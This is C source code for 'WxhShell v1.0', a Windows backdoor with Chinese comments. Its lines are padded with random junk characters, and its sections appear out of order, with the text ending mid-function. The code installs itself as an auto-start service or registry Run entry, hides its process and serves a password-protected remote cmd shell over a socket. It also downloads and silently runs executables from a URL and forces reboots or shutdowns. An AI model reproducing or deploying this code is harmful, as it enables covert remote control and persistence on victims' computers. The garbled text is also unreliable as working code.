    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o(qmI/h  
    else { "j>0A Hem  
    closesocket(wsh); \H(,'w7H  
    ExitThread(0); +[DVD  
    } 2>s;xZ@/'R  
    break; ugP R)tDfM  
    } ?A>-_B  
  // 获取shell *k$&Hcr$  
  case 's': { U7=Z.*/62  
    CmdShell(wsh); _Pal)re]U  
    closesocket(wsh); y_#wR/E)u{  
    ExitThread(0); = ByW`  
    break; (*]Y<ve  
  } hn .fX:}  
  // 退出 K-5)Y+| >  
  case 'x': { 2S/7f:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P&;I]2#  
    CloseIt(wsh); ^Pwq`G A  
    break; VGIc|Q=F  
    } >MH@FnUL  
  // 离开 "{lnSLk  
  case 'q': { * PPFk.#x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1[ Pbsb  
    closesocket(wsh); bcfOp A  
    WSACleanup(); ]CYe=m1<2Q  
    exit(1); Y._AzJ&B[  
    break; 70~]J8T+u  
        } na)_8r~  
  } m|[ Hhw=f  
  } |/$#G0X;H  
3u<2~!sR  
  // 提示信息 cs)hq4-L`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2]wh1)  
} #'P&L>6 ;  
  } &s5*akG  
Y*f<\z(4  
  return; LTHS&3% 2  
} v\vn}/>*d  
I%Z &i-33y  
// shell模块句柄 b`mEnI VIz  
int CmdShell(SOCKET sock) Pc<ZfO #  
{ vvCGzOv  
STARTUPINFO si; JAK*HA  
ZeroMemory(&si,sizeof(si)); zZ63 P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T5)?6i -N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W2^R$"U  
PROCESS_INFORMATION ProcessInfo; "cx" d:  
char cmdline[]="cmd"; m" Gr pE3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :&MiO3#+  
  return 0; 04:Dbt~=?p  
} 4Ki'r&L\  
y\x<!_&D  
// 自身启动模式 Cpl)byb  
int StartFromService(void) qI}Zg)q]  
{ sr4K-|@  
typedef struct ORNE>6J H  
{ y-YYDEl  
  DWORD ExitStatus; sQw-#f7t  
  DWORD PebBaseAddress; 2Xosj(H  
  DWORD AffinityMask; Rk<:m+V=  
  DWORD BasePriority; ( _2eiE71  
  ULONG UniqueProcessId; l:+1j{ d7  
  ULONG InheritedFromUniqueProcessId; Up:#Zs2  
}   PROCESS_BASIC_INFORMATION; ]@EjKgs  
U,N4+F}FR  
PROCNTQSIP NtQueryInformationProcess; [}D)73h`  
eYFCf;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &oBJY'1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N ~Gh>{N  
EifYK  
  HANDLE             hProcess; jp|wc,]!  
  PROCESS_BASIC_INFORMATION pbi; ^H'#*b0u  
K^+B"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {ib`mC^  
  if(NULL == hInst ) return 0; _B2t|uQ  
Wo&i)S<i0F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %zGPF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Rp#SqRy`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =g ]C9'I3  
=S,^"D\Z:  
  if (!NtQueryInformationProcess) return 0; | zf||ju  
Z6I!4K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H={,zZ11{  
  if(!hProcess) return 0; r?$\`,;  
&nq[Vy0kO4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "F^EfpcJ{9  
S $Wd}2>  
  CloseHandle(hProcess); .s+e hZ  
Ur@3_F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =o {`vv  
if(hProcess==NULL) return 0; j>U.(K  
~vgW:]i  
HMODULE hMod; pT <H&  
char procName[255]; <NUZPX29  
unsigned long cbNeeded; cWi2Sls  
mEA w^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uQDu<@5^[  
2:]Sy4K{  
  CloseHandle(hProcess); 0o#lB^e;l  
5v]xk?Eb  
if(strstr(procName,"services")) return 1; // 以服务启动 6 -oQs?  
` H"5nQRV  
  return 0; // 注册表启动 <rkF2-K,  
} D^pAf/ek@i  
= #`FXO1C  
// 主模块 Q{%ow:;s*  
int StartWxhshell(LPSTR lpCmdLine) `bi5#xR  
{ .]" o-(gB  
  SOCKET wsl; )}EwEM  
BOOL val=TRUE; 87-oR}/r  
  int port=0; Y=5hm  
  struct sockaddr_in door; rkD(K G9E  
%Z.!Bm:  
  if(wscfg.ws_autoins) Install(); EV}%D9:  
XjV7Ew^7  
port=atoi(lpCmdLine); - na]P3 s  
f~53:;L/  
if(port<=0) port=wscfg.ws_port; ALG +  
}"szL=s  
  WSADATA data; ,HkJ.6KF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 35ng_,t $  
</fzBaTo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V3UEuA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n4ISHxM  
  door.sin_family = AF_INET; m~}nM|m%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f}fM%0/5  
  door.sin_port = htons(port); bv+PbK]iO  
n9#@ e}r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [P<oyd@#  
closesocket(wsl); 4"GY0) Q  
return 1; P\Ka'i  
} Mqna0"IYx*  
'rSM6j  
  if(listen(wsl,2) == INVALID_SOCKET) { {P*RA'H3G  
closesocket(wsl); u+-}|  
return 1; a+Z/=YUR  
} "Aynt_a.  
  Wxhshell(wsl); CzwnmSv{.  
  WSACleanup(); H7uW|'XWz  
+UB. M  
return 0; KjhOz%Yt[o  
GhX>YzD7  
} T3bBc  
VH8,!#Q;  
// 以NT服务方式启动 ^mH^cP?/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \=w|Zeu{l  
{ ^JH 4: h  
DWORD   status = 0; s01n[jQ  
  DWORD   specificError = 0xfffffff; x]F:~(P  
M]oaWQu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wE'~Qj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V ] Z{0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gI[x OK#  
  serviceStatus.dwWin32ExitCode     = 0; q$\KE4v"  
  serviceStatus.dwServiceSpecificExitCode = 0; 7r:!HmRl  
  serviceStatus.dwCheckPoint       = 0; Zb@PwH4  
  serviceStatus.dwWaitHint       = 0; /: B!hvpw  
>2%!=q3)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R@;kY S  
  if (hServiceStatusHandle==0) return; %/4ChKf!VR  
0PZpE "$X  
status = GetLastError(); ;XANIT V  
  if (status!=NO_ERROR) Nl0*"}`I_  
{ }e1f kjWk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h]I ^%7  
    serviceStatus.dwCheckPoint       = 0; $~_TE\F1  
    serviceStatus.dwWaitHint       = 0; yAaMYF@  
    serviceStatus.dwWin32ExitCode     = status; U1I2+;"#A  
    serviceStatus.dwServiceSpecificExitCode = specificError; mzDbw-#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @<h@d_8^k  
    return; H>2)R 7h  
  } tX)^$3A  
>]FRHJo_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y\s@'UoVN  
  serviceStatus.dwCheckPoint       = 0; <&B)i\j8=b  
  serviceStatus.dwWaitHint       = 0; G/b $cO}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,|D<De\v&  
} '?4B0=  
"HlT-0F  
// 处理NT服务事件,比如:启动、停止 1a`dB ~>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WSUU_^.  
{ n%A)#AGGc  
switch(fdwControl) u`g|u:(r  
{  {ZB7,\  
case SERVICE_CONTROL_STOP: nzU^G)  
  serviceStatus.dwWin32ExitCode = 0; "OkJPu2!W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Nv w'[?m  
  serviceStatus.dwCheckPoint   = 0; !ouJ3Jn   
  serviceStatus.dwWaitHint     = 0; sZ_+6+ :  
  { CnN PziB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~8Z)e7 j  
  } `C$.  
  return; !2=< MO  
case SERVICE_CONTROL_PAUSE: z`XX[9$qm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; it \3-  
  break; O,u$L  
case SERVICE_CONTROL_CONTINUE: @w?hX K=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (} ?")$.  
  break; t 7dcaNBZ  
case SERVICE_CONTROL_INTERROGATE: N 8 n`f  
  break; _ ZMoPEW  
}; h_n`E7&bG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jYI\.bc  
} $cflF@ 3  
p%[/ _ -7  
// 标准应用程序主函数 Y'H|Tk^`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r1ao=N  
{ 2M@,g8O+B=  
~qT5F)$B-  
// 获取操作系统版本  b"iPuN!p  
OsIsNt=GetOsVer(); Dn~c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yH/m@#  
_TEjB:9eY  
  // 从命令行安装 MfQ 9d9  
  if(strpbrk(lpCmdLine,"iI")) Install(); HHzAmHt  
b@`h]]~:  
  // 下载执行文件 `|(S]xPHM  
if(wscfg.ws_downexe) { ^Y,nv,gYn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W"$sN8K>)  
  WinExec(wscfg.ws_filenam,SW_HIDE); +VT/ c  
} 9vZ:oO  
=# 0f4z  
if(!OsIsNt) { F=EG#<@u  
// 如果时win9x,隐藏进程并且设置为注册表启动 juIi-*R!  
HideProc(); OXp(rJ*bK  
StartWxhshell(lpCmdLine); hh#p=Y(f  
} 9X/]O<i,Es  
else Kjzo>fIC{  
  if(StartFromService()) PUcxlD/a}  
  // 以服务方式启动 "Rc Ny~  
  StartServiceCtrlDispatcher(DispatchTable); K,j'!VQA4g  
else O3 NI  
  // 普通方式启动 3127 4O  
  StartWxhshell(lpCmdLine); >\[/e{Q"  
"lLwgh;  
return 0; H< 51dJn~  
} ^pwT8Bp  
2fN2!OT  
ur\<NApT;  
m55|&Ux|  
=========================================== 6--t6>5  
\w#)uYK{i_  
G{CKb{  
TsVU^Z%W  
'-X[T}  
Q-<h)WTA  
" 6pP:Q_U$  
p?-qlPl  
#include <stdio.h> C2 4"H|D  
#include <string.h> 'Y2ImSWj  
#include <windows.h> z;wOtKl5r  
#include <winsock2.h> N2 4J!L  
#include <winsvc.h> n,D&pl9f  
#include <urlmon.h> /Vdu|k=  
k~Z;S QyN  
#pragma comment (lib, "Ws2_32.lib") \?tE,\Ln  
#pragma comment (lib, "urlmon.lib") uo9FLm  
u4x>gRz)  
#define MAX_USER   100 // 最大客户端连接数 Q%r KKOX8  
#define BUF_SOCK   200 // sock buffer Y]VLouzl  
#define KEY_BUFF   255 // 输入 buffer @B \$ me  
ZSvU1T8  
#define REBOOT     0   // 重启 9x`1VR :  
#define SHUTDOWN   1   // 关机 z94#:jPmG  
k:[T#/;  
#define DEF_PORT   5000 // 监听端口 V!\'7-[R  
{ k>T*/  
#define REG_LEN     16   // 注册表键长度 ;&c9!LfP  
#define SVC_LEN     80   // NT服务名长度 xciwKIpS  
*47HN7  
// 从dll定义API ?xwLe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o3W@)|>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wU(p_G3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X6<Ds'I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l#IN)">1  
YJGP8  
// wxhshell配置信息 otA'+4\  
struct WSCFG { G4rd<V0[D  
  int ws_port;         // 监听端口 ^u(-v/D9  
  char ws_passstr[REG_LEN]; // 口令 "% l``  
  int ws_autoins;       // 安装标记, 1=yes 0=no S-5O$EnD  
  char ws_regname[REG_LEN]; // 注册表键名 ?t)Mt]("  
  char ws_svcname[REG_LEN]; // 服务名 a(IUAh*mO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XM f>B|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LEuDDJ -  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x3:d/>b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZiW&*nN?M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i^@hn>s$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |@5G\N-  
`*WzHDv5p  
}; ^P|Zze zwU  
} _=h]|6t  
// default Wxhshell configuration NY?pvb  
struct WSCFG wscfg={DEF_PORT, 'i <%kL@  
    "xuhuanlingzhe", &'k:?@J[  
    1, ,Cd4Q7T  
    "Wxhshell", O1Ynl` }  
    "Wxhshell", ";jKTk7  
            "WxhShell Service", h0] bIT{  
    "Wrsky Windows CmdShell Service", \ [bJ@f*."  
    "Please Input Your Password: ", mWF\h>]|.  
  1, {8 #  
  "http://www.wrsky.com/wxhshell.exe", |G)P I`BH  
  "Wxhshell.exe" ;b}cn!U]  
    }; 7jw5'`;)"  
!i_~<6Wa7  
// 消息定义模块  {b|V;/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q[c:A@oW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B[~Q0lPih  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <UY9<o  
char *msg_ws_ext="\n\rExit."; &PPYxg<  
char *msg_ws_end="\n\rQuit."; 40aD\S>  
char *msg_ws_boot="\n\rReboot..."; (y s<{Y-;  
char *msg_ws_poff="\n\rShutdown..."; F9k}zAY\J  
char *msg_ws_down="\n\rSave to "; 4C[kj  
?$MO!  
char *msg_ws_err="\n\rErr!"; Rrrq>{D  
char *msg_ws_ok="\n\rOK!"; 4-BrE&2f  
rgo!t028^  
char ExeFile[MAX_PATH]; (%'`t(<  
int nUser = 0; P~84#5R1  
HANDLE handles[MAX_USER]; z))rk vL%  
int OsIsNt; N)/7j7c~;  
tzY?LX[3  
SERVICE_STATUS       serviceStatus; 9a#Y D;-p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LJA uTg  
1 F&}e&}c  
// 函数声明 H2'djZ  
int Install(void); ~l('ly  
int Uninstall(void); ~7gFddi=i  
int DownloadFile(char *sURL, SOCKET wsh); X4L@|"ZI  
int Boot(int flag); \0K&2'  
void HideProc(void); hcpe~spz9|  
int GetOsVer(void); .pG`/[*a  
int Wxhshell(SOCKET wsl); 558!?kx$  
void TalkWithClient(void *cs); sf O{.#5<  
int CmdShell(SOCKET sock); ]E.\ |I(  
int StartFromService(void); {Y3:Y+2X3*  
int StartWxhshell(LPSTR lpCmdLine); Y.q$"lm7k  
cqaq~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OepQ Z|2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Gzp*Vr  
v%kl*K`*  
// 数据结构和表定义 X/bu z  
SERVICE_TABLE_ENTRY DispatchTable[] = tkmzOc H  
{ /]?e^akA  
{wscfg.ws_svcname, NTServiceMain}, i|0!yID0@  
{NULL, NULL} r)B55;*Fh  
}; XT \2  
w4FYd  
// 自我安装 IH`7ou{  
int Install(void) !C(PfsrR/  
{ R[kF(C&  
  char svExeFile[MAX_PATH]; &UVqF o  
  HKEY key; qT01@Bku  
  strcpy(svExeFile,ExeFile); ?4#  
]x66/O\0u  
// 如果是win9x系统,修改注册表设为自启动 gH.$B'  
if(!OsIsNt) { 0EasPbp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e0]#vqdO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JLj b'Bn  
  RegCloseKey(key); (,tL(:c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g][n1$%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qC-4X"y+  
  RegCloseKey(key); {L \TO,  
  return 0;  4&%E?_M  
    } 36Lf8~d4"h  
  } W.59Al'  
} (1[Z#y[  
else { lR/Uboyy  
TEbIU8{Y  
// 如果是NT以上系统,安装为系统服务 YV'B*arIA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Esm=sPW  
if (schSCManager!=0) %0({ MU  
{ l3y}nh+ 8  
  SC_HANDLE schService = CreateService P~V ^Efz{  
  ( J\ N&u#  
  schSCManager, &XW ~l>!+  
  wscfg.ws_svcname, 5=fS^]- F  
  wscfg.ws_svcdisp, )(rr1^Xer  
  SERVICE_ALL_ACCESS, ^Nt^.xi7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w4R~0jXy  
  SERVICE_AUTO_START, ><$V:nsEO  
  SERVICE_ERROR_NORMAL, 3T>6Q#W5eO  
  svExeFile, wv=U[:Y  
  NULL, i ~)V>x  
  NULL, 4pZKm-dM^  
  NULL, F&C< = l\X  
  NULL, Urol)_3X  
  NULL `)kxFD_bH  
  ); :2+z_+k}<  
  if (schService!=0) 3#aLCpVla  
  { ^5)=) xVF  
  CloseServiceHandle(schService); \tA@A  
  CloseServiceHandle(schSCManager);  ~fs} J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #ApmJLeCO  
  strcat(svExeFile,wscfg.ws_svcname); cEn|Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #Zi6N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VCT1GsnE  
  RegCloseKey(key); 7<(kvE*x  
  return 0; \w&R`;b8w  
    } Iu(]i?Y  
  } ZXf& pqmG  
  CloseServiceHandle(schSCManager); fF2] 7:  
} mRt/ d  
} ` +)Bl%*  
jkAru_C  
return 1; 06`caG|]-M  
} l\!`ZhM,  
Fu% n8  
// 自我卸载 >"z`))9  
int Uninstall(void) } Fli  
{ n0t+xvNDF_  
  HKEY key; wod(P73?  
i[wnG)  
if(!OsIsNt) { 5g;mc.Cvt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pa=xc>m^  
  RegDeleteValue(key,wscfg.ws_regname); L>lxkq8!Q  
  RegCloseKey(key); [h>A<O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fJ=(oF=  
  RegDeleteValue(key,wscfg.ws_regname); R%\<al$O  
  RegCloseKey(key); ^f 0-w`D  
  return 0; >wR)p\UEb  
  } s7\Ee-x)s  
} uz:r'+v  
} x7i,jMR  
else { |h&okR+_,  
JUJrtK S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bxWzm|  
if (schSCManager!=0) K.Cx 9  
{ [#AI!-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7\H_9o0$  
  if (schService!=0) vg1E@rH|}  
  { k4!p))ql  
  if(DeleteService(schService)!=0) { H`yUSB IP  
  CloseServiceHandle(schService); wzcv[C-x  
  CloseServiceHandle(schSCManager); :H]MMe  
  return 0; LG{50sP`  
  } $O fZp<M  
  CloseServiceHandle(schService); .&Sjazk0XO  
  } 0IHAoV60  
  CloseServiceHandle(schSCManager); \5a;_N[Ed  
} @y6^/'  
} aU$8 0  
0d89>UB-8q  
return 1; K_;?Sr=  
} Tu^H,vf  
zFY$^Oz"_  
// 从指定url下载文件 +x?8\  
int DownloadFile(char *sURL, SOCKET wsh) };'~@%U]/  
{ .R#<Q  
  HRESULT hr; kt7Emb}  
char seps[]= "/"; aU#r`D@0  
char *token; !, sQB_09C  
char *file; o*[[nK*fL  
char myURL[MAX_PATH]; NFG~PZ`6R  
char myFILE[MAX_PATH]; YpG6p0 nd  
h?fp(  
strcpy(myURL,sURL); E{\T?dk1$  
  token=strtok(myURL,seps); DweF8c  
  while(token!=NULL) UnyJD%a  
  { TXbi>t:/S{  
    file=token; C?<[oQb#  
  token=strtok(NULL,seps); Y~I0\8s-  
  } a4]=4[(iu>  
Y$fF"p G?  
GetCurrentDirectory(MAX_PATH,myFILE); r jnf30  
strcat(myFILE, "\\"); )Q<u0AxAn  
strcat(myFILE, file); %wGQu;re  
  send(wsh,myFILE,strlen(myFILE),0); :>jzL8  
send(wsh,"...",3,0); ;0Ih:YY6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L9l]0C37e  
  if(hr==S_OK) 6kONuG7Yv  
return 0; `:dGPB BO  
else dO9bxHMnM  
return 1; ~F;>4q   
sD6vHX%  
} }kJ9< h,  
#9A*BbY  
// 系统电源模块 Qe]&  
int Boot(int flag) Q.V+s   
{ yATXN>]l  
  HANDLE hToken; {axRq'=  
  TOKEN_PRIVILEGES tkp; ApcE)mjpc  
d1NKVMeWr  
  if(OsIsNt) { $SzuUI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MEtKFC|p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S@ItgG?X  
    tkp.PrivilegeCount = 1; TUQe.oAi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jz I,B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1NAtg*`  
if(flag==REBOOT) { `R-VJR 2"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c =Zurqj  
  return 0; m'2EiYX$}\  
} )-i(%;,*e  
else { FX~pjM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R?:(~ X\  
  return 0; xoQqku"vn  
} jtwe9  
  } BbgKaCq  
  else { .]; `  
if(flag==REBOOT) { R1/mzPG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yp pZ@  
  return 0; vtq47i  
} QQ99sy  
else { :x!'Eer n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )r XUJ29.  
  return 0; <fDbz1Q;l  
} 3\|PwA9fN8  
} f/Q/[2t  
u TmT'u:}  
return 1; `t7GYmw^#  
} |W SvAM3  
?u{D-by%&  
// win9x进程隐藏模块 f%%'M.is  
void HideProc(void) D)eRk0iC  
{ )+a]M1j  
`yM9XjEl>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TEbE-h0)]  
  if ( hKernel != NULL ) "@itn  
  { nwJc%0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ? Lr:>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l YjPrA]TC  
    FreeLibrary(hKernel); KwxJ{$|xH  
  } G+ NTn\  
7K/t>QrBtU  
return; 92^Dn`g  
} ?9z1'6  
aY %{?8PsB  
// 获取操作系统版本 @Z@S;RWSU  
int GetOsVer(void) #/WjKr n  
{ /$UWTq/C7  
  OSVERSIONINFO winfo; l^v,X%{Iz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =CL h<&  
  GetVersionEx(&winfo); #3-hE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C+-sf  
  return 1; deutY.7g  
  else n:JG+1I  
  return 0; i]0$ 7s9!  
} LhKUZX,P8  
B_0]$D0 ^  
// 客户端句柄模块 <-!' V,c  
int Wxhshell(SOCKET wsl) )umW-A  
{ h6e,w$IL  
  SOCKET wsh; S@C"tHD  
  struct sockaddr_in client; zi,":KDz#  
  DWORD myID; qjIcRue'"  
TA+/35^?  
  while(nUser<MAX_USER) <}AmzeHr+  
{ 'V*8'?  
  int nSize=sizeof(client); ~tqNxlA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dkOERVRe  
  if(wsh==INVALID_SOCKET) return 1; PjU.4aZ  
*G,r:Bnb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o%v,6yv  
if(handles[nUser]==0) `R o>?H  
  closesocket(wsh); |d_ rK2  
else l4q7,%G  
  nUser++; ~#iAW@  
  } w%f51Ex  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +9_E+H'?!  
}-paGM@'Nd  
  return 0; fq0[7Yb  
} \V9);KAOj  
-257g;  
// 关闭 socket 3$kElq[  
void CloseIt(SOCKET wsh) bt?)ryu  
{ ~;nW+S$o  
closesocket(wsh); [,mcvO;  
nUser--; Ht%O9v  
ExitThread(0); CIf""gL9  
} Xd 9<`gu  
W7 9.,#  
// 客户端请求句柄 Bqb3[^;~  
void TalkWithClient(void *cs) M,N(be-  
{ qAuq2pHA+d  
v5`Odbc=w  
  SOCKET wsh=(SOCKET)cs; T q5F'@e  
  char pwd[SVC_LEN]; Q9 RCN<!  
  char cmd[KEY_BUFF]; c]:@y"W5$  
char chr[1]; IeJ@G)  
int i,j; "C [uz&  
]\:l><  
  while (nUser < MAX_USER) { m{0u+obi&w  
JT 5+d ,  
if(wscfg.ws_passstr) { , -S n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o`[X _  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?a-}1A{  
  //ZeroMemory(pwd,KEY_BUFF); XBHv V05mv  
      i=0; |n.ydyu`  
  while(i<SVC_LEN) { | b)N;t  
O; <YLS^|6  
  // 设置超时 ,5Tw5<S  
  fd_set FdRead; $a+)v#?,  
  struct timeval TimeOut; x8* @<]!  
  FD_ZERO(&FdRead); & A@ !g  
  FD_SET(wsh,&FdRead); m{sch`bP  
  TimeOut.tv_sec=8; =_H)5I_\  
  TimeOut.tv_usec=0; $6\W8v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Jl,\^)DSw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ] mvVX31T  
iMOf];O)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TZk.h8  
  pwd=chr[0]; lpeo^Y}N  
  if(chr[0]==0xd || chr[0]==0xa) { >.#tNFAs  
  pwd=0; 'P~6_BW  
  break; Q*AgFF%wn  
  } T 9?!.o  
  i++; VEg/x z4c  
    } @5(HRd  
`pd1'5Hm  
  // 如果是非法用户,关闭 socket ;V3d"@R,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `o!a RX  
} +)K yG  
{v}jV{'^um  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EAjo>GLI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BXo9s~5Q  
q9"~sCH  
while(1) { Fgg4QF  
_d/ZaCx'i  
  ZeroMemory(cmd,KEY_BUFF); ,@*`2I>`  
WP0{%  
      // 自动支持客户端 telnet标准   H0i\#)Xs  
  j=0; ) BLoj:gYn  
  while(j<KEY_BUFF) { &;k`3`MC~w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V/7?]?!xu  
  cmd[j]=chr[0]; prg8Iq'w  
  if(chr[0]==0xa || chr[0]==0xd) { $U/_8^6B0  
  cmd[j]=0;  !#8=tO  
  break; 4Vi&Y')f  
  } A'X, zw^}  
  j++; n;Etn!4M  
    } Dbo.N`  
*d/]-JN,K  
  // 下载文件 CDM==Xa*  
  if(strstr(cmd,"http://")) { ;]^JUmxU[d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tC -H2@  
  if(DownloadFile(cmd,wsh)) mg^\"GC*8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #`H^8/!e  
  else gJ>HFid_C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Af"vSL  
  } q<cpU'-#  
  else { vXM``|  
3M&75OE  
    switch(cmd[0]) { L&nGjC+Lr  
